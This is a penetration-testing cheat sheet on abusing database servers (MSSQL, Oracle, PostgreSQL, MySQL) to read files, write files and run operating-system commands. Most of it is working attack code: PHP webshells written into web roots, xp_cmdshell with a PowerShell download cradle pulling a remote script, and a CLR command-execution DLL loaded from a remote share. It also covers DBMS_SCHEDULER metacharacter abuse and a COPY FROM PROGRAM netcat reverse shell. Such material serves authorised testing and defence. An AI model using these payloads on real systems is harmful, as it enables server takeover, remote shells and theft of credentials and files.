Read/Write/Execute

Theory

When exploiting SQL injection vulnerabilities, or if you have a direct access to the DBMS, you may be able to read/write files on the operating system. In some case you will be able to execute arbitrary command

Practice

Some queries on this page can be used with different techniques as UNION or Blind based attacks

Read

Directories

We may list directories on MSSQL using following commands

EXEC master.sys.xp_dirtree 'C:\',1,1
xp_dirtree 'C:\'
EXEC master.dbo.xp_dirtree 'C:\'
EXEC master..xp_subdirs 'C:\'
EXEC master..xp_fileexist 'C:\'

You can check who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Files

By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Registry

Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry:

Regular

Instance-Aware

sys.xp_regread

sys.xp_instance_regread

sys.xp_regenumvalues

sys.xp_instance_regenumvalues

sys.xp_regenumkeys

sys.xp_instance_regenumkeys

sys.xp_regwrite

sys.xp_instance_regwrite

sys.xp_regdeletevalue

sys.xp_instance_regdeletevalue

sys.xp_regdeletekey

sys.xp_instance_regdeletekey

sys.xp_regaddmultistring

sys.xp_instance_regaddmultistring

sys.xp_regremovemultistring

sys.xp_instance_regremovemultistring

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';

# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';

# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Loading text files into Oracle tables can be done in a variety of ways. For example we can use utl_file:

set serveroutput on;

DECLARE
    V1 VARCHAR2(200);
    F1 UTL_FILE.FILE_TYPE;
BEGIN
    F1 := UTL_FILE.FOPEN('/path/to','file.txt','R');
    Loop
    BEGIN
        UTL_FILE.GET_LINE(F1,V1);
        dbms_output.put_line(V1);
        EXCEPTION WHEN No_Data_Found THEN EXIT; END;
    end loop;

    IF UTL_FILE.IS_OPEN(F1) THEN
    dbms_output.put_line('File is Open');
    end if;
    UTL_FILE.FCLOSE(F1);
END;
/
set serveroutput off;

Alternatively, we can use Oracle external tables:

CREATE OR REPLACE DIRECTORY my_ext_tab AS '/path/to';

DROP TABLE file_output;

CREATE TABLE file_output (
  line  char(512)
)
ORGANIZATION EXTERNAL
(
  TYPE ORACLE_LOADER
  DEFAULT DIRECTORY my_ext_tab
  ACCESS PARAMETERS
  (
    RECORDS DELIMITED BY NEWLINE
    FIELDS
    (
      line char(512)
    )
  )
  LOCATION ('file.txt')
)
PARALLEL 5
REJECT LIMIT UNLIMITED
/

SET LINESIZE 1000
SELECT * FROM file_output;

Earlier versions of PostgreSQL did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

Aleternatilvly, we may use the COPY command

CREATE TABLE read_files(output text);
COPY read_files FROM ('/etc/passwd');
SELECT * FROM temp limit 1 offset 0;

The LOAD_FILE function can be used to read files.

SELECT * LOAD_FILE('/home/username/myfile.txt')

Write

To write files using MSSQL, we need to enable Ole Automatin Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Write files via Oracle Dataabse can be done in a variety of ways. For example we can use utl_file:

DECLARE
    V1 VARCHAR(5000) := 'Hello World !';
    F1 UTL_FILE.FILE_TYPE;
BEGIN
    F1 := UTL_FILE.FOPEN('/inetpub/wwwroot','file.txt','W'); --Replace to A mode to append
    UTL_FILE.PUT_LINE(F1,V1);
    UTL_FILE.FCLOSE(F1);
END;
/

We may use the COPY command

COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

Or, using lo* commands

SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

We may use the OUTFILE keyword to write data into a file

SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

Even if an SQL error is triggered, it should not impact writing the webshell on disk.

Command Execution

XP_CMDSHELL

We can execute code on MSSQL instances using the xp_cmdshell function. To enable it, we need admin privileges (sysadmin privileges).

xp_cmdshell is disabled by default since SQL Server 2005

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# Get users that can run xp_cmdshell (except DBA)
Use master
EXEC sp_helprotect 'xp_cmdshell'

# Enable xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

# Execute code
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSCmd -Username sa -Password pw -Instance instance -Command whoami

Python Scripts

We can execute python scipts as follows (needs sysadmin privileges).

Commands will runs with privileges of a dynamically created Windows user account (member of the SQLRUserGroup).

Python was introduced in SQL Server 2017. Runtime environments must be installed as a prerequisite (wich is not by default).

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSR -Username sa -Password pw -Instance instance -Command "powershell -e <base64encodedscript>" -Verbose
Invoke-SQLOSPython -Username sa -Password pw -Instance instance -Command "powershell -e <base64encodedscript>" -Verbose

OLE Automation Procedure

We can execute commands through a stored procedure utilizing Object Linking and Embedding (OLE) technology. (needs sysadmin privileges).

Commands will be executed with the privileges of SQL Server service account.

# Enabling
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO

# Execute code
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSOle -Username sa -Password pw -Instance instance -Command "whoami" -Verbose

Custom CLR Assemblies

SQL Server CLR integration allows writing stored procedures. We can create a CLR UDF (Common Language Runtime User Defined Function) in any .NET language and compil it into a DLL. It can then be loaded within MSSQL for executing custom functions (needs sysadmin privileges).

The TRUSTWORTHY property should be set to allow the use of the CREATE ASSEMBLY statement.

By default, only the msdb database has this property enabled

First lets write and compile the following DLL

cmd_exec.cs

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);
        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

# Example of compiling from Windows
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs

# Example of compiling from Linux
mono-csc -platform:x64 -unsafe core/templates/loaderTemplate/template.cs -r:System.Data /target:library -out:cmd_exec.dll

We should know enable CLR:

use msdb

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'clr enabled',1
RECONFIGURE

EXEC sp_configure 'clr strict security', 0
RECONFIGURE

Convert the compiled DLL (.NET Assembly) to hexadecimal:

$assemblyFile = "\\<ATTACKING-IP>\cmd_exec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File SqlCmdExec.txt

We can now load the assembly into MSSQL and execute it as follows:

# Load the assembly 
## From Hex (replace the hex code)
CREATE ASSEMBLY my_assembly FROM 0x4D5A900..... WITH PERMISSION_SET = UNSAFE;
GO

## Or directly load from remote file
CREATE ASSEMBLY my_assembly FROM '\\192.168.15.2\fileserver\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
GO

# Link assembly to a stor procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

# Execute
cmd_exec 'whoami'

# Clean up
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

Alternatively, we may use PowerUpSQL to acheive the same goal.

Invoke-SQLOSCLR -Username sa -Password pw -Instance instance -Command "whoami" -Verbose

Oracle Java

We may execute command on OracleSQL using Oracle Java. First, check if you have enought privileges:

--check for privileges
select * from dba_java_policy
select * from user_java_policy

--grant privileges
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

Now we can execute commands:

-- 10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL()
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual

-- 11g R1 and R2: DBMS_JAVA.RUNJAVA()
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL

Oracle Java Store Procedure

Alternatively, a very popular way to execute your command on the server is to write a java stored procedure. This is done in three stages. First, create a Java class called ‘oraexec’. To do this, connect via ‘sqlplus’ terminal and write:

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
  public class oraexec
  {
    public static void execCommand(String command) throws IOException
    {
      Runtime.getRuntime().exec(command);
    }
  }
/

Next, write a PL/SQL wrapper for this class:

create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; /

That’s it. Now, to execute a command, all you need is just to send the following query:

exec javacmd('command');

Note that when using the above procedure, we cannot see the results of executed command, however, you can redirect the output to a file and read it. You can find the full code of the shell that allows to read and write files. Here is a more sophisticated script that handles the command output

Oracle DBMS_SCHEDULER

The next method, which will help us if there is no Java virtual machine, is to use ‘dbmsscheduler’, the built-in task scheduler of Oracle

Execution of programs is not allowed using DBMS_SCHEDULER. However, there is a bug that allows this restriction to be bypassed. By embedding shell meta-characters such as the ampersand (&) or pipes (||) in the name of the program to be run, it's possible to execute programs

-- windows
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
                           program_name=> 'MyCmd',
                           program_type=> 'EXECUTABLE',
--  Use the ampersand to break out
                           program_action  => 'c:/foo.bat'||chr(38)||'dir>c:/oraoutput.txt'||chr(38)||'c:/foo.bat',
                           enabled=> TRUE,
                           comments=> 'Run a command using shell metacharacters.');
DBMS_SCHEDULER.CREATE_JOB (
                           job_name=> 'X',
                           program_name=> 'MyCmd',
                           repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
                           enabled=> TRUE);
END;
/

--linux (chmod example)
BEGIN
   dbms_scheduler.create_job (job_name    => 'myjob',
                              job_type    => 'executable',
                              job_action  => '/bin/sh',
                              number_of_arguments => 2,
                              auto_drop   => true);
   dbms_scheduler.set_job_argument_value ('myjob', 1, '-c');
   dbms_scheduler.set_job_argument_value ('myjob', 2, 'chmod a+r your_files');
   dbms_scheduler.run_job ('myjob');
END;
/

Alternatively, here’s a code sample that implements the entry of ‘0wned’ string into a text file in the root of the C: drive:

exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned &gt;&gt; c:\rds3.txt',0,TRUE);
exec DBMS_SCHEDULER.create_job(job_name =&gt; 'RDS2008JOB',program_name =&gt; 'RDS2008',start_date =&gt; NULL,repeat_interval =&gt; NULL,end_date =&gt; NULL,enabled =&gt; TRUE,auto_drop =&gt; TRUE);

This will create and run a job for executing your command. And here’s an option for calling the Scheduler from another procedure – ‘SYS.KUPP$PROC.CREATE_MASTER_PROCESS’, which is of interest to us, primarily, because it allows you to embed multi-statement queries, that is, those consisting of multiple sub-queries. Theoretically, you can run such query even in case of injection into a web application.

select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''xxx'',''EXECUTABLE'',''cmd.exe /c echo qqq&gt;&gt;C:/scchh'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=&gt;''jobx'',program_name=&gt;''xxx'',start_date=&gt;NULL,repeat_interval=&gt;NULL,end_date=&gt;NULL,enabled=&gt;TRUE,auto_drop=&gt;TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=&gt;''xxx'');dbms_scheduler.purge_log;') from dual

Oracle External Tables

As the last method for achieving the execution of OS commands, we can use Oracle External Tables. This method will need the following privileges:

UTL_FILE;
CREATE TABLE;
a directory reserved for the user.

Let’s remember that the access to ‘UTL_FILE’ package is by default provided to all accounts with ‘CONNECT’ role. Step one: Check the issued directories with the following query:

SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN
(SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY')
and privilege='EXECUTE' ORDER BY GRANTEE;
 
TABLE_NAME
------------------------------
ALICE_DIR

Step two: Create an executable batch file with desired command:

declare
 f utl_file.file_type;
 s varchar2(200) := 'echo KOKOKO &gt;&gt; C:/pwned';
begin
 f := utl_file.fopen('ALICE_DIR','test.bat','W');
 utl_file.put_line(f,s);
 utl_file.fclose(f);
end;
/

Step three: Prepare the external table ‘EXTT’, you will need it to run the file:

CREATE TABLE EXTT (line varchar2(256))
ORGANIZATION EXTERNAL
(TYPE oracle_loader
  DEFAULT DIRECTORY ALICE_DIR
  ACCESS PARAMETERS
  ( RECORDS DELIMITED BY NEWLINE
    FIELDS TERMINATED BY ',')
  LOCATION (alice_dir:'test.bat'))
/

Now, just call your batch file with the following command:

SELECT * from EXTT;

The terminal will start to display error messages that the system cannot match the table and invoked file but, in this case, it is not important, as the main objective was to open the executable file, which you have achieved.

CVE-2019–9193 allow us to run system commands on Linux or Windows using the PROGRAM parameter.

First, we have to be super user or member of the pg_execute_server_program group:

#Check if we are SuperUser
SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

#Check if we are member of pg_execute_server_program
\du+
SELECT usename AS role_name,CASE WHEN usesuper AND usecreatedb THEN CAST('superuser, create database' AS pg_catalog.text) WHEN usesuper THEN CAST('superuser' AS pg_catalog.text) WHEN usecreatedb THEN CAST('create database' AS pg_catalog.text) ELSE CAST('' AS pg_catalog.text) END role_attributes FROM pg_catalog.pg_user ORDER BY role_name desc;

Run arbitrary commands:

CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

Resources

Pentest-Notes/Security_cheatsheets/databases/sqlserver/3-command-execution.md at master · SofianeHamlaoui/Pentest-NotesGitHub

Attacking SQL Server CLR AssembliesNetSPI

Last updated 7 months ago

Was this helpful?